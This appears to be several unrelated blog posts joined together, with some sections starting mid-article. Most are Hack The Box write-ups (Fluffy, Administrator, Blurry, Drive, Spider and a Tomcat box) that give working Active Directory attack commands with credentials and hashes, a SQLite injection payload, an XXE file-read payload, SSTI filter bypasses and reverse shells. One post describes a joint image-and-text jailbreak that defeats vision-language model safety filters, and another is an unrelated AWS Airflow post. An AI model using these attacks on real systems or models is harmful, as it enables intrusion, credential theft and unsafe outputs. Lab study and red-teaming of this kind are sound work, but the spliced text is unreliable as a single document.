Fluffy is a Windows machine centered on Active Directory exploitation. To gain root access, users must enumerate users and services, exploit Kerberos misconfigurations, and leverage permissions until they become a domain admin.

Nmap Enumeration

As always, we start with an nmap scan to discover all open ports on the target machine. This gives us a first look at the services we can interact with.

sudo nmap -p- -open -vvv -n -Pn 10.10.11.69 -oG ports

The scan reveals a large number of open ports, which is typical for a Windows Domain Controller. Some of the key services identified are Kerberos (88), LDAP (389), SMB (445), and WinRM (5985). This strongly suggests we’re dealing with an Active Directory environment. To get more details about the running services, a version and script scan (-sCV) is performed on the ports found earlier.

nmap -sCV -p53,88,135,389,445,464,593,636,3268,3269,5985,9389,49667,49692,49693,49708,49711 10.10.11.69 -oN targeted

The output confirms the machine is a Domain Controller for the fluffy.htb domain, with the hostname DC01.fluffy.htb.

Initial Enumeration

To properly interact with the domain services, it’s crucial to add the discovered domain names to our /etc/hosts file. This ensures that our tools can resolve the hostnames to the correct IP address.

With the hosts file configured, we can start enumerating the exposed services. A good starting point is SMB, as it often allows anonymous listing of shares. We use smbclient to check for any accessible shares.

smbclient -L //10.10.11.69 -N

The command lists several shares, including the standard NETLOGON and SYSVOL, which are common on Domain Controllers. There is also a non-standard share named IT that looks interesting and could contain useful files.

Active Directory Enumeration with BloodHound

Before diving deeper, we can perform user enumeration against the domain controller using a tool like kerbrute. This can help us validate potential usernames without needing credentials.

kerbrute userenum --dc fluffy.htb -d fluffy.htb /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt

The tool confirms the existence of the administrator and guest accounts.

With credentials, we can perform a much more thorough enumeration of the Active Directory environment. Assuming we found credentials for the user j.fleischman within the previously discovered IT share, we can use BloodHound to collect detailed information about users, groups, permissions, and potential attack paths.

First, we use the bloodhound-python ingestor to connect to the domain controller and gather all the necessary data.

bloodhound-python -d fluffy.htb -u 'j.fleischman' -p 'J0ElThEm4n1990!' -ns 10.10.11.69 -c all

Once the data collection is complete, we need to set up the BloodHound GUI to visualize and analyze the results. This requires starting the neo4j database service and then running the BloodHound application itself.

sudo neo4j console

sudo bloodhound-setup

After setting up, we can upload the JSON files generated by the Python ingestor into the BloodHound GUI to start looking for privilege escalation paths.

Analyzing the data shows us the object for our current user, J.FLEISCHMAN@FLUFFY.HTB. While BloodHound is incredibly powerful for finding complex attack paths, it’s always good to check for low-hanging fruit first. The most immediate benefit of these credentials is the ability to access the IT share we found earlier.

Using the credentials with smbclient, we can connect to the IT share and list its contents.

smbclient //10.10.11.69/IT -U 'fluffy.htb/j.fleischman' -p 'J0ElThEm4n1990!'

Inside the share, we find several interesting files, most notably a KeePass password manager zip file and a PDF notice. This is a very promising find, as password databases often contain high-value credentials.

Exploiting CVE-2025-24071 for Hash Leakage

The next step is to download the files from the IT share to our local machine for analysis.

get Upgrade_Notice.pdf

The Upgrade_Notice.pdf file is particularly interesting. It’s a patch announcement that lists several recent, high-impact vulnerabilities.

One specific vulnerability, CVE-2025-24071, is listed with critical severity. This makes it a prime target for investigation.

A quick search for this CVE leads to a public Proof of Concept (PoC) on GitHub. The vulnerability allows for NTLM hash leakage when a user simply extracts a malicious ZIP or RAR archive containing a specially crafted .library-ms file. The user doesn’t even need to open any of the extracted files.

The repository provides a Python script, poc.py, to generate the malicious archive. The script embeds our attacker IP address into the .library-ms file, causing the victim’s machine to initiate an SMB connection to us upon extraction, thereby leaking the hash.

Capturing and Cracking the Hash

Now we need to set up a listener to capture the incoming NTLM hash. We can use impacket-smbserver for this purpose. It will start a fake SMB server on our machine.

sudo impacket-smbserver -smb2support share .

With the listener running, we use the poc.py script to generate our exploit.zip file, providing it with our attacker IP.

python poc.py

Next, we upload the generated exploit.zip to the IT share on the Fluffy machine using our existing smbclient session.

put exploit.zip

The idea is that an administrator or automated process will eventually scan the new file, extract it to check its contents, and trigger our exploit. After a short wait, our smbserver listener captures an incoming connection and provides us with the NTLMv2 hash for the user p.agila.

Now that we have the hash, we can attempt to crack it using John the Ripper and the popular rockyou.txt wordlist.

john pagilacreds.txt -w=/usr/share/wordlists/rockyou.txt

Success! The password is cracked and revealed to be prometheusx-303.

We now have a new set of credentials for the domain.

With a new user, it’s always a good idea to re-run enumeration to see what new access or information we can gather. We’ll use the bloodhound-python ingestor again, this time authenticating as p.agila.

bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb -ns 10.10.11.69 -c All --zip

Once the data collection is complete, we upload the new zip file into the BloodHound GUI.

Analyzing the new user’s properties in BloodHound reveals a critical piece of information. The user p.agila is a member of the Service Account Managers group. This is a high-value group, as members have permissions to manage Group Managed Service Accounts (gMSA), which can often be abused to gain further access.

Abusing Service Account Permissions

Looking at the members of the SERVICE ACCOUNTS group, we can see our user p.agila alongside several other service accounts, including WINRM_SVC. This is a strong indicator that we might be able to leverage our user’s permissions against these other accounts.

Given that p.agila is in the Service Account Managers group, we can likely abuse this to gain control over other service accounts. A powerful technique for this is creating “Shadow Credentials” using a tool like Certipy. This attack allows us to add a new authentication credential (like a password or certificate) to a target account, enabling us to authenticate as that user without knowing their original password. We will target the winrm_svc account.

Before running the attack, it’s critical to synchronize our system’s clock with the domain controller to avoid Kerberos errors.

sudo ntpdate 10.10.11.69

Now, we can use certipy-ad to perform the shadow credential attack. This command will add a new credential to the winrm_svc account and retrieve its NTLM hash.

certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -account 'WINRM_SVC' -dc-ip '10.10.11.69'

The attack is successful, and we now have the NT hash for winrm_svc.

With the hash, we can use evil-winrm to gain a shell as the winrm_svc user. This is a pass-the-hash technique.

evil-winrm -i 10.10.11.69 -u 'winrm_svc' -H '33bd09dcd697600edfb6b3a7af4875767'

We now have a shell on the machine as winrm_svc and can retrieve the user flag from the desktop.

Escalating to Domain Admin via AD CS

Our next goal is to escalate from this service account to a Domain Admin. A common vector for this is Active Directory Certificate Services (AD CS). Misconfigurations in certificate templates can allow users to request certificates that can be used to authenticate as other users, including administrators.

We can start by enumerating AD CS using Certipy to find potentially vulnerable certificate templates.

certipy-ad find -username ca_svc -hashes :ca$HASH -dc-ip 10.10.11.69 -vulnerable

The output from Certipy reveals a critical misconfiguration labeled ESC16.

The ESC16 vulnerability occurs when the Certificate Authority has a specific security extension disabled. This allows an attacker with permissions to edit a user’s userPrincipalName (UPN) to impersonate another user, including a domain administrator, when requesting a certificate.

The attack path is as follows:

1. Choose a target account we can control or whose credentials we can obtain.
2. Change the UPN of our target account to match the sAMAccountName of a privileged user (e.g., Administrator).
3. Request a certificate for our target account. Because of the ESC16 flaw, the CA will issue a certificate that can be used to authenticate as the Administrator.

We have credentials for p.agila, which is a member of the Service Account Managers group, giving us control over the ca_svc account. Let’s try to update the UPN of ca_svc to administrator.

Our first attempt fails with a constraint violation. It seems the domain requires a fully qualified UPN.

certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' 'read'
certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' 'update'

Let’s try again with the full UPN, administrator@fluffy.htb.

certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator@fluffy.htb' -user 'ca_svc' 'update'

This time, the update is successful. The ca_svc account now has the UPN of the domain administrator.

Now that the UPN for ca_svc is set to the administrator’s, we can proceed with the certificate request. First, we need to be able to authenticate as ca_svc. Since p.agila is in the Service Account Managers group, we can perform another shadow credential attack to get the NT hash for ca_svc.

certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -account 'ca_svc' -dc-ip '10.10.11.69'

With the hash for ca_svc, we can now request a certificate while authenticating as that user. Due to the modified UPN and the ESC16 misconfiguration, the Certificate Authority will issue a certificate for the administrator user. We use certipy-ad req to perform this action.

certipy-ad req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User' -user 'ca_svc' -hashes ':ca0f4f9e8b8a092addf53bb03fc98c8'

The command successfully requests a certificate and saves it as administrator.pfx.

As a final step in this stage, it’s good practice to revert the changes made to the ca_svc account to avoid leaving traces of the attack. We change the UPN back to its original value.

certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' 'update'

With the administrator.pfx file, we can now authenticate as the domain administrator. We use certipy-ad again, this time with the auth action to use the certificate. This will provide us with a Kerberos ticket (TGT) and the NT hash for the administrator account.

certipy-ad auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

Now that we have full domain admin privileges, we can execute commands on the domain controller. A great tool for this is impacket-atexec. Before running it, we ensure our system clock is synchronized with the DC to avoid any Kerberos-related time-skew errors. We use the Kerberos ticket we obtained in the previous step to authenticate.

sudo ntpdate 10.10.11.69
impacket-atexec fluffy.htb/administrator@dc01.fluffy.htb -k -no-pass whoami

The whoami command returns nt authority\system, confirming we have the highest possible privileges on the machine.

Finally, we can read the root flag from the administrator’s desktop.

impacket-atexec fluffy.htb/administrator@dc01.fluffy.htb -k -no-pass 'type C:\Users\Administrator\Desktop\root.txt'

And with that, the machine is fully compromised.

Most existing attacks target only one modality at a time—either by subtly altering an image or by manipulating the text prompt. In this project, we asked a simple question: what happens if we attack both at the same time?

Our Unified Attack: Combining Image and Text Perturbations

We developed a unified multimodal adversarial attack that simultaneously targets both the vision and language inputs of a VLM. Our method combines two powerful techniques:

• Projected Gradient Descent (PGD): A classic image attack that makes tiny, often human-imperceptible changes to an image’s pixels to fool a model.
• Greedy Coordinate Gradient (GCG): A state-of-the-art text attack that appends an optimized, often nonsensical-looking string of characters to a prompt to “jailbreak” a language model.

By integrating PGD and GCG into a single, cohesive framework, we can create adversarial image-text pairs that are far more effective than those from separate, unimodal attacks.

The difference is stark. In the example below, the LLaVA model correctly refuses to answer the harmful prompt when given a normal image. But when we apply our joint attack—making subtle changes to the image and adding an adversarial suffix to the prompt—the model’s safety filter is completely bypassed, and it provides a detailed, harmful response.

A joint PGD+GCG attack tricks the LLaVA-RC model into providing illicit instructions, bypassing its safety alignment.

How the Joint Attack Works

The joint attack uses simultaneous optimization. Instead of attacking the image and text separately, the algorithm finds the best combination of perturbations in a single, efficient process. At a high level, here’s how it works:

1. Gradient Calculation: For a given image and prompt, we perform a single backward pass to calculate the gradients for both the image pixels and the text token embeddings. This tells us the most effective direction to “push” both modalities to induce a jailbreak.
2. Image Update (PGD): We use the image gradient to apply a small, constrained perturbation to the input image, creating an adversarial version.
3. Text Candidate Generation (GCG): We use the text gradients to identify a set of top candidate tokens that are most likely to increase the adversarial loss.
4. Joint Evaluation & Selection: This is the key step. We evaluate each text candidate’s effectiveness against the newly perturbed image. This allows us to capture the cross-modal interactions. After evaluating all candidates, we select the single best text edit for that iteration.
5. Repeat: We repeat this process, iteratively refining the image and text suffix until the model is successfully jailbroken.

Putting It to the Test: Results

We tested our attack framework on several popular VLMs, and the results highlight the critical advantage of a multimodal approach.

• Against LLaVA-RC (Robust CLIP): This model uses a hardened vision encoder, making it more resilient to image-only attacks. While PGD alone struggled, our joint PGD+GCG attack successfully restored a strong adversarial potency by combining weak visual perturbations with an optimized text suffix, achieving the lowest mean loss across all tested modes.
• Against Gemma-3-4b-it (with GemmaShield2): This was the toughest target. Gemma’s defenses were so effective that they completely blocked image-only PGD attacks, resulting in zero successes. However, our joint attack was still able to find a way through. By coordinating both modalities, it not only achieved a high success rate but also reduced the final adversarial loss by nearly half compared to a GCG-only text attack. This demonstrates that even when one attack surface is heavily fortified, a joint attack can amplify the remaining channels to bypass defenses.

Making it Practical: Dynamic Search-Width Scheduling

A major challenge with our joint attack is that it can be computationally expensive. Evaluating every text candidate at every step takes time. To solve this, we introduced Dynamic Search-Width Scheduling.

The idea is to start the attack with a large budget of text candidates (a wide search) to quickly find a promising direction, and then gradually reduce the number of candidates in later iterations as the attack converges on a solution.

Visualisation of different dynamic search-width decay schedules. This technique balances speed and attack strength.

This simple scheduling trick works wonders. It allows us to retain nearly the full effectiveness of an expensive, wide-search attack while reclaiming most of the runtime benefits of a faster, narrow-search one. For practical use, we recommend a 256→128 schedule, which delivers excellent success rates at a manageable computational cost.

Conclusion and What’s Next

Our research demonstrates that joint multimodal adversarial attacks are a significant threat to modern VLMs, especially those with advanced, single-modality defenses. By perturbing image and text inputs in a coordinated fashion, these attacks can create more subtle, effective, and potentially less detectable jailbreaks than their unimodal counterparts.

The development of dynamic scheduling makes these powerful attacks practical, providing a potent tool for security researchers to audit and red-team the next generation of multimodal AI systems.

For future work, we plan to investigate the transferability of these attacks. If an adversarial suffix and image perturbation created for one prompt can generalize to others, it would represent an even more scalable and useful threat.

Access the full paper and and code on GitHub

Overview

This writeup showcases the exploitation of the Administrator machine on Hack The Box. The target system is a Windows Server 2022 Domain Controller, highlighting vulnerabilities in Active Directory configurations and mismanaged credentials.

Nmap Enumeration

An initial Nmap scan was performed to identify open ports and services:

nmap -p- -T5 --open -vv -n -Pn 10.10.11.42 -oG ports

Open ports included:

• FTP: 21/tcp
• Domain Services: 53/tcp
• Kerberos: 88/tcp
• SMB: 445/tcp
• LDAP: 389/tcp
• WinRM: 5985/tcp

A targeted scan was then executed for detailed service and version information:

nmap -sCV -p21,53,88,135,139,389,445,593,636,3268,3269,5985,9389,47001 10.10.11.42 -oN targeted

Findings confirmed the server as a Windows Domain Controller with services like Kerberos, SMB, and LDAP configured:

Initial Access

Using crackmapexec with discovered credentials Olivia:ichliebedich, it was possible to verify domain access:

With these credentials, evil-winrm provided initial shell access. Tools like Mimikatz, BloodHound, and SharpHound were found in Olivia’s documents folder:

Privilege Enumeration

Running whoami /priv revealed Olivia’s privileges, including SeMachineAccountPrivilege, allowing the addition of workstations to the domain. Account details were checked with:

net user Olivia

Active Directory Enumeration

SharpHound Collection

Using SharpHound.exe -c all, data about domain mappings and group memberships was collected for further analysis:

BloodHound Analysis

Data was analyzed with BloodHound to identify privilege escalation paths. Using netexec, additional enumeration was performed, and findings were exported:

RPC Enumeration

Using rpcclient, domain users and groups were enumerated. Key users like Administrator and michael were identified:

Kerberoasting Michael

Time was synchronized with the domain controller using rdate to ensure Kerberos attacks work properly:

Using GetUserSPNs.py -request, a Kerberos hash for the user michael was extracted and cracked with hashcat:

hashcat -m 13100 michael.hash rockyou.txt

Password retrieved: password123.

Accessing Michael’s Account

With the cracked password, logged in as Michael using evil-winrm and verified privileges:

Analyzing Active Directory permissions revealed significant control over key objects:

Exploiting Benjamin’s Account

Michael’s privileges were used to reset Benjamin’s password via net rpc. The new password allowed login via WinRM:

FTP Discovery

Logged into the FTP service using Benjamin’s credentials and retrieved a file Backup.psafe3. The file was cracked using john with rockyou.txt:

Password retrieved: tequieromucho.

Using Password Safe Credentials

Using pwsafe, additional credentials for users alexander, emily, and emma were extracted. Emily’s credentials enabled login via WinRM:

Privilege Escalation to Ethan

Emily’s permissions allowed modification of Ethan’s account. Using pywhisker.py, a certificate was created and exploited to retrieve Ethan’s credentials:

Ethan’s Kerberos hash was cracked to retrieve the password: Limpbizkit.

Domain Admin Privileges

Ethan’s credentials were used with secretsdump.py to extract NTDS.dit secrets, including the Administrator’s NTLM hash:

Using the Administrator’s hash with evil-winrm, full control of the domain was achieved:

Conclusion

Successfully exploited the Administrator machine, gaining domain administrator privileges. A rewarding challenge in Active Directory exploitation. 🎉

Blurry is a medium-difficulty Hack The Box machine that highlights a vulnerability in ClearML, a popular ML/DL tool. By exploiting insecure pickle deserialization (CVE-2024-24590) and leveraging misconfigurations, attackers can escalate privileges and gain root access, showcasing real-world risks in machine learning environments.

System Enumeration

First, an nmap is performed to extract the open ports of the system.

Knowing that the open ports were 22 and 80, this ports are scanned with the -sCV flags.

We discover an nginx 1.18.0web server running in the port 80, that redirects to http://app.blurry.htb/.

Editing the hosts file, we add the domains of the system to the target IP.

Web Analysis

The platform has a login to a ClearML portal.

Looking to the Full Name field, we get some usernames, including a “Default User”.

When selecting the Default User, it gets automatically logged in. In the workspace, there are some keys.

Foothold and user access

The CVE-2024-24590 exploits a pickle file deserialization issue to execute arbitrary code in a ClearML system.

When running the script, a project is requested. Therefore, we can create a project in the ClearML website, or use one of the projects already created.

Despite this, when running the exploit, we get an error because ClearML is not running in our system.

Following the instructions of the web server, we can install ClearML.

The system allows us to create new credentials, which provides several new server subdomains.

Again, we add these domains to the etc/hosts/ file.

With these changes, it is possible to init ClearML in our system with clearml-init.

Running the script while listening on a port for incomming connections, allows us to get a reverse shell with user access, under the jippity user.

Privilege escalation

This user can run the command /usr/bin/evaluate_model /models/*.pth as root.

First, I copied the id_rsa to have SSH connection to the system without the reverse shell.

Assigning the correct permissions and connecting to the machine with SSH makes the shell more stable for further exploitation.

The privilege escalation is done using a malicious pytorch model that, when run, executes a connection with nc to our host. As this is run as root, it allows us to get a reverse shell with root access to the system.

The next step is to run the evaluate_model binary, which will “evaluate”, and therefore run, our malicious model, while we listen in the specified port for the incoming connection.

This gets us the root shell, and the root flag!

Summary

This has been an easy-medium challenge, that showcases how a very common ML/DL tool can be exploited, from a simple deserialization issue, to obtain root access to the server.

The Drive machine is a hard Linux system that needs reverse engineering, and performing a SQL injection on a binary.

Web Enumeration

The website is a platform similar to Google Drive, where it is possible to register and upload files.

The files are obtained by a request to /id/getFileDetail/. To enumerate possible files, it is possible to use Burpsuite in Intruder mode by parameterising the id of the file. In this way, depending on the server response (Not Found vs. Unauthorised), it is possible to identify files of other users.

One of the ids found is 79. When entering drive.htb/79/, you get a Not Found message.

Blocking Functionality

The platform has a file “reservation” system, which allows to make files accessible to external users. Below we try to reserve a sample file to see how the web page behaves.

The file is successfully backed up.

Using this file as an example, the /id/block path is discovered which allows access to a reserved file. Thus, via the path /79/block/ one of the previously found files can be accessed.

This file contains a message to the development team with the credentials of “martin”.

These credentials give SSH access with the user martin.

After enumerating the system, in var/www/backups there are a number of backups encrypted in .7z, as well as a db.sqlite3 database.

With a server up with python3 -m http.server 8000, the database is downloaded to our system.

With sqlite3 we load the database and find a series of hashes.

Using hashid, we find the mode of the hash.

However, I was unable to crack these hashes, so I continued to enumerate the machine. It was probably a rabbit hole.

In the /usr/local/bin directory is a gitea binary for which you have execute permissions.

When running it, an error appears as the gitea server is already running, probably because another user already launched it.

Gitea

Gitea is accessed by port forwarding with the command ssh martin@10.10.11.235 -L 3000:drive.htb:3000.

This way, in localhost:3000 we find the Gitea platform.

Listing the platform, we find the users. One of them corresponds to the user martin, for which we have the SSH credentials.

With the SSH password of martin and the user martinCruz we get access. We found a repository of the DoodleGrive platform.

In the repository, there is a db_backup.sh file containing the credential that encrypts the backups we found earlier.

We then reuse the open http server with python to download these backups.

And unzip with the password found.

Each backup contains a database with different passwords each time, for a number of users. One of them, the most recent, has the credentials hashed with PBKDF2, so we ignore them for now.

The others use SHA1.

I gathered all the hashes and started a brute force attack with hashcat -m 124 -a 0 -O hashes.txt rockyou.txt.

Three similar passwords are found with this attack.

Trying SSH with the other user on the system, tom, all three credentials, we find that johnmayer7 works and we get access.

Privilege escalation

A README.txt message is found in the system indicating the development of a new project, “DoodleGrive self hosted”, a CLI tool that is still under development.

We transfer the binary to our system and check that when we run it, it asks for some credentials.

I used ghidra to scan the binary for any clues.

So, with the binary decompiled, in main are the credentials that the binary checks for when it asks the user for them.

When you use them and check that they work, you get six options related to accounts and the server.

One of them, number 5, attempts to activate the account of a given user. This allows it to receive a username and performs an action on a supposed database.

Digging into the binary, we find the query that the binary uses to perform this action.

You can see that the given user is a parameter of this query that updates the database, which leads us to think that a SQL injection can be performed in the database through the binary from the original system.

The query is /usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username="%s";'.

To execute a Remote Code Execution (RCE) attack, the load_extension() function of SQLite3 is used.

The binary escapes certain characters, so the char() function must be used to send the compiled text to be executed in ASCII.

The payload will be +load_extension(char(46,47,122))+ where 46 is “.”, 47 is “/” and 122 is “z”, so you can execute “./z”.

The z.c file contains the code that will copy the flag, although you can also run a command to create a reverse shell.

We then run the payload.

And we can check that the flag appears in the intended path, /tmp/ab.txt.

With this we finish the Drive machine, very complete and complex at the same time.

However, most of these ETL processes only need to be run once a day. So we set up an architecture that would allow us to have an Apache Airflow available only the hours we needed it. How did we do that?

Vumi is deployed on AWS, and this provider offers MWAA (Managed Workflows for Apache Airflow) as a solution for deploying an Airflow environment. It uses an S3 bucket to store DAGs, requirements, and other necessary files. In addition, it allows environments to be monitored with CloudWatch, which is very useful when the environment is not active.

However, AWS does not offer a Serverless implementation of the MWAA environment, but when the environment is deleted, all components, including the database, are completely removed, losing metadata and other configuration information such as roles and permissions, as well as logs of DAG executions. This makes it very complicated to create and destroy an environment every day. At the same time, having a continuously active environment is inefficient, as it consumes resources even when no tasks are being processed.

To solve this, we use two processes that create and import, and export and delete environment details before and after DAG scheduling. These two processes are orchestrated with Step Functions and scheduled with EventBridge. To save the data, a DAG pauses execution and exports in S3 all information from the active DAGs to a CSV file.

The next day, a similar process retrieves the configuration of the exported environment and uses it to recreate it. When the creation is finished, another DAG restores the active DAGs.

The concrete implementation has two additional stacks. One of them polls the environment to verify its creation or deletion, and to know when to run the metadata export and import DAGs. The other uses EventBridge and SNS to send notifications when part of the process fails.

The complete export and re-import flow is as follows:

1. EventBridge Scheduler starts the execution of the pause Step Function at the time scheduled by a Cron expression.
2. GetEnvironment from the AWS SDK retrieves the details of the active environment.

3. The environment-backup.json object is saved to the backup S3. This file contains the environment configuration, such as Airflow version, configuration options, the S3 path of the environment DAGs, number of workers…

   

4. A token is created for the export DAG.

5. The StoreMetadata lambda starts the export DAG in the still active environment. This DAG pauses the running DAGs, and exports all Apache Airflow data and variables. If it fails, it reactivates them.

   

6. Environment metadata is exported to S3 in multiple CSVs.

   

7. The export DAG notifies the Step Function of the success.
8. The environment is removed via the AWS SDK.
9. The polling step function periodically checks the status of the environment until successful deletion is confirmed.

To recreate the environment the next day, the process is similar, although in this case an additional lambda is used to create the environment with the information from the previously exported environment-backup.json.

The last lambda invokes the re-import DAG when the environment finishes creating. This DAG reads the exported CSV files from S3 and re-imports it into the Airflow database, thus activating the DAGs and resuming the execution of the environment.

This solution saves up to 87.5% of the cost of the environment compared to running it continuously without implementing the automation explained above.

In the long term, it will be necessary to extend the time we need the cluster active, especially when non-daily ETL processes are required. At the moment, these continuous processes are few and light, and we do not use MWAA for this.

If this sounds like a useful solution, AWS provides an implementation in its GitHub repository, although we had to make changes to resolve some issues it had. For example, the CSV export and read CSV had inconsistencies that periodically caused DAGs to be disabled. Also, backups grow after many cycles, and it is necessary to periodically clean the environment’s databases.

This system is exploited, after some fuzzing, through a Tomcat manager with path traversal that makes the typical WAR shell a bit more difficult, and lateral movement is performed, as well as privilege escalation, through ansible misconfigurations.

Nmap

The nmap scan reveals different http ports.

One of them with interesting information.

We can add the host to out /etc/hosts file.

Gitbucket

Let’s use the Set-Cookie with the 8080 port.

There is a login page.

As there is a register page, I decided to register.

We can see some commits.

In one of them there are tomcat credentials.

If we keep searching, there is something about mutual authentication enabled.

The credentials with the Alex username don’t work.

There is a “Core Dev” named Luis.

If we fuzz the host with gobuster we can find the /manager path.

In the /manager path there is also a /status directory.

If we go there, we’ll find a login form.

The credentials previously found are valid.

Tomcat

It is a tomcat manager page.

We can use path traversal via reverse proxy mapping. Information in the image below.

And now we are in the html directory

We can exploit it as every tomcat manager, with a WAR exploit.

The payload can be created with msfvenom.

The upload is forbidden.

Let’s intercept the request with burpsuite.

We have to use the path traversal.

Now we have the shell in the manager.

If we listen in the port with netcat and trigger the shell from the tomcat manager, we get a shell.

Let’s upgrade it with Python

Now we have a propper shell as the tomcat user.

Enumeration

As tomcat we can’t take the flag, we need the luis user.

We have read permissions, and in its home directory there is a hidden .ansible folder.

This is what I found about Ansible.

It has ansible playbook installed.

The run.yml file has copy_links set to yes, which can be easily exploited.

Creating some symbolic links with ln we can get the rsa keys.

If we unzip it we get the keys.

Here it is the private key.

With the propper rights we can use it to stablish a SSH connection as luis.

Privilege escalation

Now, with sudo -l we can see that as luis we can run ansible-playbook as root.

If we search the binary in GTFObins, we will find a really easy way of getting a root shell exploiting the privileged binary.

Following the steps, we are finally root.

Spider is a complex machine with two SSTI vulnerabilities, and a really interesting method to get cookies with its private key. To escalate privileges we take advantage of the fact that we are allowed to enter input in an XML file, of which a parameter is displayed in a web service.

Nmap

The first we do is add the main host of the machine to our /etc/hosts file.

There are only 2 open ports in the machine.

Here, we can see that the port 80 hosts a nginx web server. The machine is a Linux OS and has Secure Shell Connection enabled.

With whatweb we can see that same information about the web server.

Web page

The page seems to be a furniture shop. We can look carefully and see the login, admin and register pages in the left.

To login we are asked for an UUID and a password. We will have to register first.

I checked for SQL injections in there parameters but they are not vulnerable.

Then, we proceed to register. We need a username and a password.

When we click the register button, we are given a UUID. With this UUID we can try to login.

SSTI

As nothing happened, I thought about a SSTI, a vulnerability I have seen in a recent machine. A SSTI (Server side template injection) plays with the response of the server to execute what we want, as we will see.

To check if it was vulnerable, I registered with 9 as my username. If it was vulnerable, the output of the operation will be shown as the username.

Now, our username is 81, so it worked.

We can try to run `` to get configuration information.

Now, in our username there is a lot of information about the web server.

If we read all the string, we will see a key. This “SECRET_KEY” is used for cookie encoding. With this, we will be able to get the session cookie of the user we want.

Session cookies with Flask Unsign

It is possible to craft the cookie we want using the tool Flask Unsign, available in Github.

With flask-unsign --sign --cookie, the vulnerable field and the key, we will get a cookie.

If we replace our cookie with this one, our user will change.

We are chiv at this point. As the admin board is empty, we can suppose that there will be a board that is not empty. So we now need to move to another user.

SQL injection in the cookie

This phase is the most difficult one of the machine. We can only get to this by trying everything we know. And I thought about a simple Python oneliner to use flask unsign and the key. With this oneliner, I could test for SQL injections and is shown below.

The “script” is the following one.

from flask_unsign import session as s;
session = s.sign({'uuid': session}, secret = '(SecretKey)')

And the SQLmap command to detect SQL injections is:

Luckily, the parameter Cookie is injectable.

Now we know chiv’s password and uuid.

We can also see a really interesting message in its dashboard.

I saved the information retrieved in my content folder.

With the credentials, we can login.

And in the dashboard, there is the message we have seen before.

If we navigate to that URL, we will see a support portal.

From SSTI to RCE

This part is also hard, because we have to get a reverse shell from the SSTI vulnerability available in this kind of forms. The full explanation can be read in the following image.

In internet there are many tutorials to get command execution with SSTI. The problem is that the page has a lot of filters, so we can not use many restricted characters and symbols. So we need to bypass them, and I found this guide.

Here, we can see that the curly brackets are forbidden… Then, we have to bypass that restriction.

In this first bypass, we can replace the inner curly brackets of ”“ with ”% %”

But again, we are told that ”.”, the point, is a forbidden character.

We can encode the whole payload with echo -n (base64) | base64 -d | bash and pass our payload encoded to bypass the restrictions.

Our bash payload will be this one.

And the final payload, with the encoding thechnique, is this one.

At first, it seems that it does not like it.

But we finally get a reverse shell in our nc listener!

User SSH

We are now user in the system.

To make it easier for us, we will get the chiv id_rsa, and use it to connect with SSH.

We have now a SSH connection as the chiv user.

System enumeration

With netstat -tunlp we can see the listening ports in the victim machine. The 8080 one seems interesting, as it is normally associated with HTTPS services.

We can port forward it with SSH so we can get access to the port from our local machine.

In the webpage hosted in that port there is a “Beta login” form.

When we enter a username, a similar page as the first one is shown. And more important, our input is reflected.

XXE

If we intercept the POST request with Burpsuite, we will see a hidden parameter, version.

We can deduce from here that the application is parsing XML documents. This is vulnerable to XXE (External XML Entity).

Let’s see if we can get something else about the XML document fetched. We can retrieve our session cookie from the logout request.

If we decode this cookie, and then the base64, we will see a XML syntax with our username and the provided version. We know that the username part is reflected in the web, and we can write in the 1.0.0 part. We can play with that.

Our XML file is the following one:

<!-- API Version 1.0.0 -->
<root>
  <data>
    <username>bimo</username>
    <is_admin>0</is_admin>
  </date>
</root>

Therefore, we can close the API Version comment from our input, and then inject a malicious entity to read whatever we want. And, from our username, we can make a reference to that entity with a pointer.

The payload for the version input parameter will be:

With this, our XML will look as:

<!-- API Version 1.0.0 -->
<!DOCTYPE foo> [
  <!ELEMENT foo ANY>
  <!ENTITY bimo SYSTEM "file:///etc/passwd" >
]> <!-- -->
<root>
  <data>
    <username>&bimo;</username>
    <is_admin>0</is_admin>
  </date>
</root>

I injected it using burpsuite, because of the URL encoding.

If everything worked as intended, we will see the file in the webpage.

With CTRL+U we can see read it better.

Now, we can use this vulnerability to read every file we want. For example, the RSA Private key of the root user (/root/.ssh/id_rsa).

Using this private key, we can connect with SSH as the privileged user of the victim machine.